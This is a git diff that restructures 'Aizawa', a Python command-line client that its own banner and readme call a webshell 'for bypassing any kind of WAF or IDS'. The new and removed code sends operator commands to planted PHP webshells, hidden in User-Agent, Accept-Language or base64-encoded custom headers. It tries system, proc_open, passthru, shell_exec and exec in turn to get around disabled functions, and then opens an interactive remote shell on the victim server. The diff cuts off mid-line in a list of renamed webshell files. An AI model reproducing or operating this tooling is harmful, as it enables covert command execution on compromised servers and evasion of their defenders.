diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ba0430d --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +__pycache__/ \ No newline at end of file diff --git a/aizawa.py b/aizawa.py deleted file mode 100644 index b3a2aea..0000000 --- a/aizawa.py +++ /dev/null @@ -1,351 +0,0 @@ -#!/usr/bin/env python -###################################################### -## ## -## A I Z A W A ## -## ## -## Simple command Line webshell by @elliottophellia ## -## ## -###################################################### - -# Imports - - -import re -import sys -import httpx -import base64 -import asyncio -import validators - - -# Colors - - -bold = "\033[1m" -red = "\033[31m" -clear = "\033[0m" -cyan = "\033[36m" -blue = "\033[34m" -purple = "\033[35m" -green = "\033[32m" -yellow = "\033[33m" - - -# Functions - - -async def http_request(client, method, url, headers=None, data=None): - headers = headers or {} - try: - if method.lower() == 'post': - r = await client.post(url, headers=headers, data={'cmd': data}) - elif method.lower() == 'get': - r = await client.get(url, headers=headers) - else: - raise ValueError( - f"{bold} {yellow} WARNING! {clear}\n{red}ERROR {clear}: Invalid method {method}\n") - r.raise_for_status() - except httpx.HTTPStatusError as e: - print( - f"{bold} {yellow} WARNING! {clear}\n{red}ERROR {clear}: Error response {e.response.status_code} while making {method} request to {url}") - return None - return r.text - - -def create_headers(user_agent=None, accept_language=None): - headers = { - 'sec-ch-ua': 'Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116', - 'sec-ch-ua-mobile': '?0', - 'sec-ch-ua-platform': 'Windows', - 'Upgrade-Insecure-Requests': '1', - 'User-Agent': user_agent or 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36', - 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', - 'Sec-Fetch-Site': 'none', - 'Sec-Fetch-Mode': 'navigate', - 'Sec-Fetch-User': '?1', - 'Sec-Fetch-Dest': 'document', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': accept_language or 'en-US,en;q=0.9' - } - return headers - - -async def http_user_agent_get(client, url, cmd): - headers = create_headers(cmd, None) - return await http_request(client, 'get', url, headers) - - -async def http_accept_language_get(client, url, cmd): - headers = create_headers(None, cmd) - return await http_request(client, 'get', url, headers) - - -async def http_user_agent_post(client, url, data, cmd): - headers = create_headers(cmd, None) - return await http_request(client, 'post', url, headers, data) - - -async def http_accept_language_post(client, url, data, cmd): - headers = create_headers(None, cmd) - return await http_request(client, 'post', url, headers, data) - - -async def http_aizawa_ninja(client, url, cmd): - headers = create_headers() - headers["Aizawa-Ninja"] = base64.b64encode(cmd.encode('utf-8')) - return await http_request(client, 'get', url, headers) - - -async def execute(client, url, cmd, type): - match type: - case "ping": - try: - headers = create_headers() - r = await client.get(url, headers=headers, follow_redirects=True) - if r.status_code != 200: - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + - ': Invalid HTTP response code\nPlease check the URL and try again\n') - sys.exit() - except httpx.RequestError as e: - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + - clear + ': URL is not reachable\nPlease check the URL and try again\n') - sys.exit() - - case "get": - headers = create_headers() - r = await http_request(client, 'get', url+cmd, headers) - if not r: - result = red + 'ERROR' + clear + '\n' - return r - - case "post": - headers = create_headers() - r = await http_request(client, 'post', url, headers, data={cmd}) - if not r: - result = red + 'ERROR' + clear + '\n' - return r - - case "http_user_agent_get": - result = await http_user_agent_get(client, url + '?cmd=system', cmd) - if not result: - result = await http_user_agent_get(client, url + '?cmd=proc_open', cmd) - elif not result: - result = await http_user_agent_get(client, url + '?cmd=popen', cmd) - if not result: - result = await http_user_agent_get(client, url + '?cmd=passthru', cmd) - if not result: - result = await http_user_agent_get(client, url + '?cmd=shell_exec', cmd) - if not result: - result = await http_user_agent_get(client, url + '?cmd=exec', cmd) - if not result: - result = red + 'ERROR' + clear + '\n' - return result - - case "http_accept_language_get": - result = await http_accept_language_get(client, url + '?cmd=system', cmd) - if not result: - result = await http_accept_language_get(client, url + '?cmd=proc_open', cmd) - if not result: - result = await http_accept_language_get(client, url + '?cmd=popen', cmd) - if not result: - result = await http_accept_language_get(client, url + '?cmd=passthru', cmd) - if not result: - result = await http_accept_language_get(client, url + '?cmd=shell_exec', cmd) - if not result: - result = await http_accept_language_get(client, url + '?cmd=exec', cmd) - if not result: - result = red + 'ERROR' + clear + '\n' - return result - - case "http_user_agent_post": - result = await http_user_agent_post(client, url,'system', cmd) - if not result: - result = await http_user_agent_post(client, url, 'proc_open', cmd) - if not result: - result = await http_user_agent_post(client, url, 'popen', cmd) - if not result: - result = await http_user_agent_post(client, url, 'passthru', cmd) - if not result: - result = await http_user_agent_post(client, url, 'shell_exec', cmd) - if not result: - result = await http_user_agent_post(client, url, 'exec', cmd) - if not result: - result = red + 'ERROR' + clear + '\n' - return result - - case "http_accept_language_post": - result = await http_accept_language_post(client, url, 'system', cmd) - if not result: - result = await http_accept_language_post(client, url, 'proc_open', cmd) - if not result: - result = await http_accept_language_post(client, url, 'popen', cmd) - if not result: - result = await http_accept_language_post(client, url, 'passthru', cmd) - if not result: - result = await http_accept_language_post(client, url, 'shell_exec', cmd) - if not result: - result = await http_accept_language_post(client, url, 'exec', cmd) - if not result: - result = red + 'ERROR' + clear + '\n' - return result - - case "http_aizawa_ninja_eval": - result = await http_aizawa_ninja(client, url, 'system~' + cmd) - if not result: - result = await http_aizawa_ninja(client, url, 'passthru~' + cmd) - if not result: - result = await http_aizawa_ninja(client, url, 'shell_exec~' + cmd) - if not result: - result = await http_aizawa_ninja(client, url, 'exec~' + cmd) - if not result: - result = red + 'ERROR' + clear + '\n' - return result - - if type in ["http_aizawa_ninja_concat", "http_aizawa_ninja_debug", "http_aizawa_ninja_gc", "http_aizawa_ninja_json", "http_aizawa_ninja_filter"]: - result = await http_aizawa_ninja(client, url, cmd) - if not result: - result = red + 'ERROR' + clear + '\n' - return result - - -def banner(): - banner_text = yellow + '\n ___ ________ ___ _ _____ \n' - banner_text += ' / _ | / _/_ / / _ | | /| / / _ |\n' - banner_text += ' / __ |_/ / / /_' + blue + '/ __ | |/ |/ / __ |\n' - banner_text += '/_/ |_/___/ /___/_/ |_|__/|__/_/ |_|' + clear + '\n' - banner_text += 'A Super Simple Command Line Webshell\nFor Bypassing Any Kind of WAF or IDS\n' - banner_text += 'Code by ' + bold + ' @' + red + 'elliottophellia' + clear + ' ' - banner_text += bold + '#' + red + 'V' + purple + 'S' + blue + 'P' + yellow + 'O' + clear + '\n' - print(banner_text) - - -async def main(): - - # Httpx Client - - async with httpx.AsyncClient(verify=False, http2=True, timeout=None) as client: - - # Get URL and check if valid - - url = sys.argv[1] if len(sys.argv) > 1 else input("Webshell URL: ") - if not validators.url(url): - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + ': Invalid URL format\nThis does not appear to be a valid URL/IP address\nPlease check the input and try again\n') - sys.exit() - - # Remove any characters after the file extension - - regex = re.compile(r'^.*\.[a-zA-Z]+', re.MULTILINE) - remove_char = regex.findall(url) - url = remove_char[0] - - # Check if URL is alive and reachable - - await execute(client, url, '', 'ping') - - # Get filename and strip the domain - - filename = url[url.rfind('/') + 1:] - - # Classify the webshell type based on the filename - - patterns_to_types = { - r'get_aizawa_hal_(.*?)\.': 'http_accept_language_get', - r'get_aizawa_hua_(.*?)\.': 'http_user_agent_get', - r'post_aizawa_hal_(.*?)\.': 'http_accept_language_post', - r'post_aizawa_hua_(.*?)\.': 'http_user_agent_post', - r'aizawa_ninja_eval_(.*?)\.': 'http_aizawa_ninja_eval', - r'aizawa_ninja_concat_(.*?)\.': 'http_aizawa_ninja_concat', - r'aizawa_ninja_debug_(.*?)\.': 'http_aizawa_ninja_debug', - r'aizawa_ninja_gc_(.*?)\.': 'http_aizawa_ninja_gc', - r'aizawa_ninja_json_(.*?)\.': 'http_aizawa_ninja_json', - r'aizawa_ninja_filter_(.*?)\.': 'http_aizawa_ninja_filter', - } - - type = None - - for pattern, t in patterns_to_types.items(): - match = re.findall(pattern, filename) - if match: - type = t - break - - if type is None: - print(bold + yellow + 'WARNING!' + clear + '\n' + red + 'ERROR' + clear + ': Invalid filename\nThis does not appear to be a valid Aizawa Webshell\nPlease check the URL and try again\n') - sys.exit() - - # Get essential information - - # Get user and host - - user = await execute(client, url, 'whoami', type) - host = await execute(client, url, 'hostname', type) - pwd = await execute(client, url, 'pwd', type) - - # Return default values if not found or error - - user = 'aizawaema' if not user or user == '\033[31mERROR\033[0m\n' else re.sub( - r'\s+', '', user) - host = 'virtualesport' if not host or host == '\033[31mERROR\033[0m\n' else re.sub( - r'\s+', '', host) - pwd = '~/unknown/path' if not pwd or pwd == '\033[31mERROR\033[0m\n' else re.sub( - r'\s+', '', pwd) - - # Print essential information - if type in ["http_aizawa_ninja_concat", "http_aizawa_ninja_debug", "http_aizawa_ninja_gc", "http_aizawa_ninja_json", "http_aizawa_ninja_filter", "http_aizawa_ninja_eval"]: - print(bold + green + 'Successfully connected to Aizawa Webshell Ninja Edition!' + clear) - else: - print(bold + green + 'Successfully connected to Aizawa Webshell!' + clear + '\n') - - info_commands = { - "Kernel": "unamea", - "Server": "server", - "Safe Mode": "safe_mode", - "Server IP": "server_ip", - "Client IP": "client_ip", - "Disable Function": "disable_functions" - } - - if type in ["http_accept_language_post", "http_user_agent_post"]: - method = "post" - elif type in ["http_accept_language_get", "http_user_agent_get"]: - method = "get" - - # Calculate the maximum label width - max_label_width = max(len(label) for label in info_commands.keys()) - - for info, command in info_commands.items(): - if method == "get": - result = await execute(client, url, f"?{command}", method) - else: - result = await client.post(url, data=command) - result = result.text - formatted_info = f"{info.ljust(max_label_width)} : {result}" - print(f"{bold}{formatted_info}{clear}") - - # Initialize the shell - - while True: - - # Get command from user - - cmd = input('\n' + bold + yellow + user + clear + '@' + bold + blue + host + clear + ' ' + purple + pwd + clear + ' % ') - if cmd == 'exit' or cmd == 'quit' or cmd == '\x03': - sys.exit() - if not cmd: - continue - - # Execute command and print result - - print('\n' + cyan + await execute(client, url, cmd, type) + clear) - - -if __name__ == "__main__": - - # Print banner - banner() - - # Run the script - try: - asyncio.run(main()) - except KeyboardInterrupt: - print("\nCtrl + C detected. Exiting...") diff --git a/main.py b/main.py new file mode 100644 index 0000000..6f5d8b3 --- /dev/null +++ b/main.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python +###################################################### +## ## +## A I Z A W A ## +## ## +## Simple command Line webshell by @elliottophellia ## +## ## +###################################################### + +import re +import sys +import httpx +import asyncio +import validators +from modules.utils.colors import * +from modules.execute import execute +from modules.utils.banner import banner + +async def main(): + # Httpx Client + + async with httpx.AsyncClient(verify=False, http2=True, timeout=None) as client: + # Get URL and check if valid + + url = sys.argv[1] if len(sys.argv) > 1 else input("Webshell URL: ") + if not validators.url(url): + sys.exit( + print( + BOLD + + YELLOW + + "WARNING!" + + CLEAR + + "\n" + + RED + + "ERROR" + + CLEAR + + ": Invalid URL format\n" + + "This does not appear to be a valid URL/IP address\n" + + "Please check the input and try again\n" + )) + + # Remove any characters after the file extension + + regex = re.compile(r"^.*\.[a-zA-Z]+", re.MULTILINE) + remove_char = regex.findall(url) + url = remove_char[0] + + # Check if URL is alive and reachable + + await execute(client, url, "", "ping") + + # Get filename and strip the domain + + filename = url[url.rfind("/") + 1 :] + + # Classify the webshell type based on the filename + + patterns_to_types = { + r"get_aizawa_hal_(.*?)\.": "http_accept_language_get", + r"get_aizawa_hua_(.*?)\.": "http_user_agent_get", + r"post_aizawa_hal_(.*?)\.": "http_accept_language_post", + r"post_aizawa_hua_(.*?)\.": "http_user_agent_post", + r"aizawa_ninja_eval_(.*?)\.": "http_aizawa_ninja_eval", + r"aizawa_ninja_concat_(.*?)\.": "http_aizawa_ninja_concat", + r"aizawa_ninja_debug_(.*?)\.": "http_aizawa_ninja_debug", + r"aizawa_ninja_gc_(.*?)\.": "http_aizawa_ninja_gc", + r"aizawa_ninja_json_(.*?)\.": "http_aizawa_ninja_json", + r"aizawa_ninja_filter_(.*?)\.": "http_aizawa_ninja_filter", + } + + type = None + + for pattern, t in patterns_to_types.items(): + match = re.findall(pattern, filename) + if match: + type = t + break + + if type is None: + sys.exit( + print( + BOLD + + YELLOW + + "WARNING!" + + CLEAR + + "\n" + + RED + + "ERROR" + + CLEAR + + ": Invalid filename\n" + + "This does not appear to be a valid Aizawa Webshell\n" + + "Please check the URL and try again\n" + )) + + # Get essential information + + # Get user and host + + user = await execute(client, url, "whoami", type) + host = await execute(client, url, "hostname", type) + pwd = await execute(client, url, "pwd", type) + + # Return default values if not found or error + + user = ( + "aizawaema" + if not user or user == "\033[31mERROR\033[0m" + else re.sub(r"\s+", "", user) + ) + host = ( + "virtualesport" + if not host or host == "\033[31mERROR\033[0m" + else re.sub(r"\s+", "", host) + ) + pwd = ( + "~/unknown/path" + if not pwd or pwd == "\033[31mERROR\033[0m" + else re.sub(r"\s+", "", pwd) + ) + + # Print essential information + if type in [ + "http_aizawa_ninja_concat", + "http_aizawa_ninja_debug", + "http_aizawa_ninja_gc", + "http_aizawa_ninja_json", + "http_aizawa_ninja_filter", + "http_aizawa_ninja_eval", + ]: + print( + BOLD + + GREEN + + "Successfully connected to Aizawa Webshell Ninja Edition!" + + CLEAR + ) + else: + print( + BOLD + + GREEN + + "Successfully connected to Aizawa Webshell!" + + CLEAR + + "\n" + ) + + info_commands = { + "Kernel": "unamea", + "Server": "server", + "Safe Mode": "safe_mode", + "Server IP": "server_ip", + "Client IP": "client_ip", + "Disable Function": "disable_functions", + } + + if type in ["http_accept_language_post", "http_user_agent_post"]: + method = "post" + elif type in ["http_accept_language_get", "http_user_agent_get"]: + method = "get" + + # Calculate the maximum label width + max_label_width = max(len(label) for label in info_commands.keys()) + + for info, command in info_commands.items(): + if method == "get": + result = await execute(client, url, f"?{command}", method) + elif method == "post": + result = await execute(client, url, f"{command}", method) + formatted_info = f"{info.ljust(max_label_width)} : {result}" + print(f"{BOLD}{formatted_info}{CLEAR}") + + # Initialize the shell + + while True: + # Get command from user + + cmd = input( + "\n" + + BOLD + + YELLOW + + user + + CLEAR + + "@" + + BOLD + + BLUE + + host + + CLEAR + + " " + + PURPLE + + pwd + + CLEAR + + " % " + ) + if cmd == "exit" or cmd == "quit" or cmd == "\x03": + sys.exit(print(BOLD + RED + "Exiting..." + CLEAR)) + if not cmd: + continue + + # Execute command and print result + + print("\n" + CYAN + await execute(client, url, cmd, type) + CLEAR) + +if __name__ == "__main__": + # Print banner + banner() + + # Run the script + try: + asyncio.run(main()) + except KeyboardInterrupt: + print("\n" + BOLD + RED + "Ctrl + C detected. Exiting..." + CLEAR) \ No newline at end of file diff --git a/modules/__init__.py b/modules/__init__.py new file mode 100644 index 0000000..df3163b --- /dev/null +++ b/modules/__init__.py @@ -0,0 +1,3 @@ +from .utils import * +from .execute import * +from .http_requests import * \ No newline at end of file diff --git a/modules/execute/__init__.py b/modules/execute/__init__.py new file mode 100644 index 0000000..bec51fd --- /dev/null +++ b/modules/execute/__init__.py @@ -0,0 +1,3 @@ +from .execute_http_request_get import execute_http_request_get +from .execute_http_request_post import execute_http_request_post +from .execute import execute \ No newline at end of file diff --git a/modules/execute/execute.py b/modules/execute/execute.py new file mode 100644 index 0000000..2366dd5 --- /dev/null +++ b/modules/execute/execute.py @@ -0,0 +1,117 @@ +import sys +import httpx +from modules.utils.colors import * +from modules.utils.headers import create_headers +from modules.http_requests.http_request import http_request +from modules.http_requests.http_aizawa_ninja import http_aizawa_ninja +from .execute_http_request_get import execute_http_request_get +from .execute_http_request_post import execute_http_request_post +from modules.http_requests.http_user_agent_get import http_user_agent_get +from modules.http_requests.http_user_agent_post import http_user_agent_post +from modules.http_requests.http_accept_language_get import http_accept_language_get +from modules.http_requests.http_accept_language_post import http_accept_language_post + +async def execute(client, url, cmd, type): + if type == "ping": + try: + headers = create_headers() + r = await client.get(url, headers=headers, follow_redirects=True) + if r.status_code != 200: + sys.exit( + print( + BOLD + + YELLOW + + "WARNING!" + + CLEAR + + "\n" + + RED + + "ERROR" + + CLEAR + + ": Invalid HTTP response code\n" + + "Please check the URL and try again\n" + )) + except httpx.RequestError as e: + sys.exit( + print( + BOLD + + YELLOW + + "WARNING!" + + CLEAR + + "\n" + + RED + + "ERROR" + + CLEAR + + ": URL is not reachable\n" + + "Please check the URL and try again\n" + )) + + if type in ["get", "post"]: + headers = create_headers() + if type == "get": + r = await http_request(client, "get", url + cmd, headers) + if r: + return r + return RED + "ERROR" + CLEAR + elif type == "post": + r = await client.post(url, headers=headers, data=cmd) + if r.text: + return r.text + return RED + "ERROR" + CLEAR + + if type in [ + "http_aizawa_ninja_eval", + "http_aizawa_ninja_concat", + "http_aizawa_ninja_debug", + "http_aizawa_ninja_gc", + "http_aizawa_ninja_json", + "http_aizawa_ninja_filter", + ]: + methods = ["system~", "passthru~", "shell_exec~", "exec~"] + if type == "http_aizawa_ninja_eval": + for method in methods: + result = await http_aizawa_ninja(client, url, method + cmd) + if result: + return result + return RED + "ERROR" + CLEAR + else: + result = await http_aizawa_ninja(client, url, cmd) + if result: + return result + return RED + "ERROR" + CLEAR + + if type in ["http_accept_language_get", "http_user_agent_get"]: + methods = [ + "?cmd=system", + "?cmd=proc_open", + "?cmd=popen", + "?cmd=passthru", + "?cmd=shell_exec", + "?cmd=exec", + ] + request_func = ( + http_accept_language_get + if type == "http_accept_language_get" + else http_user_agent_get + ) + for method in methods: + result = await execute_http_request_get( + client, url, cmd, method, request_func + ) + if result: + return result + return RED + "ERROR" + CLEAR + + if type in ["http_accept_language_post", "http_user_agent_post"]: + methods = ["system", "proc_open", "popen", "passthru", "shell_exec", "exec"] + request_func = ( + http_accept_language_post + if type == "http_accept_language_post" + else http_user_agent_post + ) + for method in methods: + result = await execute_http_request_post( + client, url, cmd, method, request_func + ) + if result: + return result + return RED + "ERROR" + CLEAR \ No newline at end of file diff --git a/modules/execute/execute_http_request_get.py b/modules/execute/execute_http_request_get.py new file mode 100644 index 0000000..d2f50b4 --- /dev/null +++ b/modules/execute/execute_http_request_get.py @@ -0,0 +1,5 @@ +async def execute_http_request_get(client, url, cmd, method, request_func): + result = await request_func(client, url + method, cmd) + if result: + return result + return None \ No newline at end of file diff --git a/modules/execute/execute_http_request_post.py b/modules/execute/execute_http_request_post.py new file mode 100644 index 0000000..91827de --- /dev/null +++ b/modules/execute/execute_http_request_post.py @@ -0,0 +1,5 @@ +async def execute_http_request_post(client, url, cmd, method, request_func): + result = await request_func(client, url, method, cmd) + if result: + return result + return None \ No newline at end of file diff --git a/modules/http_requests/__init__.py b/modules/http_requests/__init__.py new file mode 100644 index 0000000..d638c6b --- /dev/null +++ b/modules/http_requests/__init__.py @@ -0,0 +1,6 @@ +from .http_request import http_request +from .http_user_agent_get import http_user_agent_get +from .http_accept_language_get import http_accept_language_get +from .http_user_agent_post import http_user_agent_post +from .http_accept_language_post import http_accept_language_post +from .http_aizawa_ninja import http_aizawa_ninja \ No newline at end of file diff --git a/modules/http_requests/http_accept_language_get.py b/modules/http_requests/http_accept_language_get.py new file mode 100644 index 0000000..3ceb61b --- /dev/null +++ b/modules/http_requests/http_accept_language_get.py @@ -0,0 +1,6 @@ +from .http_request import http_request +from modules.utils.headers import create_headers + +async def http_accept_language_get(client, url, cmd): + headers = create_headers(None, cmd) + return await http_request(client, "get", url, headers) \ No newline at end of file diff --git a/modules/http_requests/http_accept_language_post.py b/modules/http_requests/http_accept_language_post.py new file mode 100644 index 0000000..3447204 --- /dev/null +++ b/modules/http_requests/http_accept_language_post.py @@ -0,0 +1,6 @@ +from .http_request import http_request +from modules.utils.headers import create_headers + +async def http_accept_language_post(client, url, data, cmd): + headers = create_headers(None, cmd) + return await http_request(client, "post", url, headers, data) \ No newline at end of file diff --git a/modules/http_requests/http_aizawa_ninja.py b/modules/http_requests/http_aizawa_ninja.py new file mode 100644 index 0000000..6016c12 --- /dev/null +++ b/modules/http_requests/http_aizawa_ninja.py @@ -0,0 +1,8 @@ +import base64 +from .http_request import http_request +from modules.utils.headers import create_headers + +async def http_aizawa_ninja(client, url, cmd): + headers = create_headers() + headers["Aizawa-Ninja"] = base64.b64encode(cmd.encode("utf-8")) + return await http_request(client, "get", url, headers) \ No newline at end of file diff --git a/modules/http_requests/http_request.py b/modules/http_requests/http_request.py new file mode 100644 index 0000000..9267e3e --- /dev/null +++ b/modules/http_requests/http_request.py @@ -0,0 +1,21 @@ +import httpx +from modules.utils.colors import * + +async def http_request(client, method, url, headers=None, data=None): + headers = headers or {} + try: + if method.lower() == "post": + r = await client.post(url, headers=headers, data={"cmd": data}) + elif method.lower() == "get": + r = await client.get(url, headers=headers) + else: + raise ValueError( + f"{BOLD} {YELLOW} WARNING! {CLEAR}\n{RED}ERROR {CLEAR}: Invalid method {method}\n" + ) + r.raise_for_status() + except httpx.HTTPStatusError as e: + print( + f"{BOLD} {YELLOW} WARNING! {CLEAR}\n{RED}ERROR {CLEAR}: Error response {e.response.status_code} while making {method} request to {url}" + ) + return None + return r.text \ No newline at end of file diff --git a/modules/http_requests/http_user_agent_get.py b/modules/http_requests/http_user_agent_get.py new file mode 100644 index 0000000..a3d82ed --- /dev/null +++ b/modules/http_requests/http_user_agent_get.py @@ -0,0 +1,6 @@ +from .http_request import http_request +from modules.utils.headers import create_headers + +async def http_user_agent_get(client, url, cmd): + headers = create_headers(cmd, None) + return await http_request(client, "get", url, headers) \ No newline at end of file diff --git a/modules/http_requests/http_user_agent_post.py b/modules/http_requests/http_user_agent_post.py new file mode 100644 index 0000000..4ac38a9 --- /dev/null +++ b/modules/http_requests/http_user_agent_post.py @@ -0,0 +1,6 @@ +from .http_request import http_request +from modules.utils.headers import create_headers + +async def http_user_agent_post(client, url, data, cmd): + headers = create_headers(cmd, None) + return await http_request(client, "post", url, headers, data) \ No newline at end of file diff --git a/modules/utils/__init__.py b/modules/utils/__init__.py new file mode 100644 index 0000000..5aa80fa --- /dev/null +++ b/modules/utils/__init__.py @@ -0,0 +1,3 @@ +from .colors import RED, BOLD, CYAN, BLUE, CLEAR, GREEN, PURPLE, YELLOW +from .headers import create_headers +from .banner import banner \ No newline at end of file diff --git a/modules/utils/banner.py b/modules/utils/banner.py new file mode 100644 index 0000000..17b8d90 --- /dev/null +++ b/modules/utils/banner.py @@ -0,0 +1,11 @@ +from .colors import * + +def banner(): + banner_text = YELLOW + "\n ___ ________ ___ _ _____ \n" + banner_text += " / _ | / _/_ / / _ | | /| / / _ |\n" + banner_text += " / __ |_/ / / /_" + BLUE + "/ __ | |/ |/ / __ |\n" + banner_text += "/_/ |_/___/ /___/_/ |_|__/|__/_/ |_|" + CLEAR + "\n" + banner_text += "A Super Simple Command Line Webshell\nFor Bypassing Any Kind of WAF or IDS\n" + banner_text += "Code by " + BOLD + " @" + RED + "elliottophellia" + CLEAR + " " + banner_text += BOLD + "#" + RED + "V" + PURPLE + "S" + BLUE + "P" + YELLOW + "O" + CLEAR + "\n" + print(banner_text) \ No newline at end of file diff --git a/modules/utils/colors.py b/modules/utils/colors.py new file mode 100644 index 0000000..b9a03b0 --- /dev/null +++ b/modules/utils/colors.py @@ -0,0 +1,9 @@ +# Colors +RED = "\033[31m" +BOLD = "\033[1m" +CYAN = "\033[36m" +BLUE = "\033[34m" +CLEAR = "\033[0m" +GREEN = "\033[32m" +PURPLE = "\033[35m" +YELLOW = "\033[33m" \ No newline at end of file diff --git a/modules/utils/headers.py b/modules/utils/headers.py new file mode 100644 index 0000000..d7543ea --- /dev/null +++ b/modules/utils/headers.py @@ -0,0 +1,16 @@ +def create_headers(user_agent=None, accept_language=None): + headers = { + "sec-ch-ua": 'Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116', + "sec-ch-ua-mobile": "?0", + "sec-ch-ua-platform": "Windows", + "Upgrade-Insecure-Requests": "1", + "User-Agent": user_agent or "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", + "Sec-Fetch-Site": "none", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-User": "?1", + "Sec-Fetch-Dest": "document", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": accept_language or "en-US,en;q=0.9", + } + return headers \ No newline at end of file diff --git a/readme.md b/readme.md index 04310d4..0205e37 100644 --- a/readme.md +++ b/readme.md @@ -1,6 +1,6 @@
-Aizawa is a super simple command-line webshell that executes commands via the HTTP request in order to avoid any WAF or IDS while bypassing disable_function. The name Aizawa itself is taken from virtual youtuber Aizawa Ema from Virtual Esport Project. Ema itself is a girl who likes bread and cats. She's always trying to improve her game skills. She wants to be a neat and tidy character, but is she really?
+Aizawa is a super simple command-line webshell that executes commands via the HTTP request in order to avoid any WAF or IDS while bypassing disable_function. The name Aizawa itself is taken from virtual youtuber Aizawa Ema from Virtual Esport Project. Ema itself is a girl who likes bread and cats. She's always trying to improve her game skills. She wants to be a neat and tidy character, but is she really?
@@ -8,15 +8,13 @@ Aizawa is a super simple command-line webshell that executes commands via the HT
-# Changelogs - v1.3.2 +# Changelogs - v1.3.3 -- Refactored the code -- Added Async Support -- Added HTTP/2 Support -- Added custom http headers to impersonate Chrome -- Fixed [#7](https://github.com/elliottophellia/aizawa/issues/7) +- Added new files structure for better organization +- Added `execute_http_request_*` functions to simplify execute request +- Refactored the `execute` function to improve code readability. -Compare [v1.3.1...v1.3.2](https://github.com/elliottophellia/aizawa/compare/v1.3.1...v1.3.2) +Compare [v1.3.2...v1.3.3](https://github.com/elliottophellia/aizawa/compare/v1.3.2...v1.3.3) # Prerequisites @@ -45,7 +43,7 @@ pacman -S python-httpx python-validators ``` ### 4. Run aizawa ``` -python aizawa.py / python aizawa.py [webshell url] +python main.py / python main.py [webshell url] ``` # Screenshot diff --git a/webshell/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_.php b/webshells/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_.php similarity index 100% rename from webshell/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_.php rename to webshells/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_.php diff --git a/webshell/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_b64.php b/webshells/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_b64.php similarity index 100% rename from webshell/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_b64.php rename to webshells/GET/HTTP_ACCEPT_LANGUAGE/get_aizawa_hal_b64.php diff --git a/webshell/GET/HTTP_USER_AGENT/get_aizawa_hua_.php b/webshells/GET/HTTP_USER_AGENT/get_aizawa_hua_.php similarity index 100% rename from webshell/GET/HTTP_USER_AGENT/get_aizawa_hua_.php rename to webshells/GET/HTTP_USER_AGENT/get_aizawa_hua_.php diff --git a/webshell/GET/HTTP_USER_AGENT/get_aizawa_hua_b64.php b/webshells/GET/HTTP_USER_AGENT/get_aizawa_hua_b64.php similarity index 100% rename from webshell/GET/HTTP_USER_AGENT/get_aizawa_hua_b64.php rename to webshells/GET/HTTP_USER_AGENT/get_aizawa_hua_b64.php diff --git a/webshell/NINJA/CONCAT/aizawa_ninja_concat_.php b/webshells/NINJA/CONCAT/aizawa_ninja_concat_.php similarity index 100% rename from webshell/NINJA/CONCAT/aizawa_ninja_concat_.php rename to webshells/NINJA/CONCAT/aizawa_ninja_concat_.php diff --git a/webshell/NINJA/CONCAT/aizawa_ninja_concat_b64.php b/webshells/NINJA/CONCAT/aizawa_ninja_concat_b64.php similarity index 100% rename from webshell/NINJA/CONCAT/aizawa_ninja_concat_b64.php rename to webshells/NINJA/CONCAT/aizawa_ninja_concat_b64.php diff --git a/webshell/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_.php b/webshells/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_.php similarity index 100% rename from webshell/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_.php rename to webshells/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_.php diff --git a/webshell/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_b64.php b/webshells/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_b64.php similarity index 100% rename from webshell/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_b64.php rename to webshells/NINJA/DEBUG_BACKTRACE/aizawa_ninja_debug_b64.php diff --git a/webshell/NINJA/EVAL/aizawa_ninja_eval_.php b/webshells/NINJA/EVAL/aizawa_ninja_eval_.php similarity index 100% rename from webshell/NINJA/EVAL/aizawa_ninja_eval_.php rename to webshells/NINJA/EVAL/aizawa_ninja_eval_.php diff --git a/webshell/NINJA/EVAL/aizawa_ninja_eval_b64.php b/webshells/NINJA/EVAL/aizawa_ninja_eval_b64.php similarity index 100% rename from webshell/NINJA/EVAL/aizawa_ninja_eval_b64.php rename to webshells/NINJA/EVAL/aizawa_ninja_eval_b64.php diff --git a/webshell/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_.php b/webshells/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_.php similarity index 100% rename from webshell/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_.php rename to webshells/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_.php diff --git a/webshell/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_b64.php b/webshells/NINJA/GARBAGE_COLLECTOR/aizawa_ninja_gc_b64.php similarity index 100% rename from 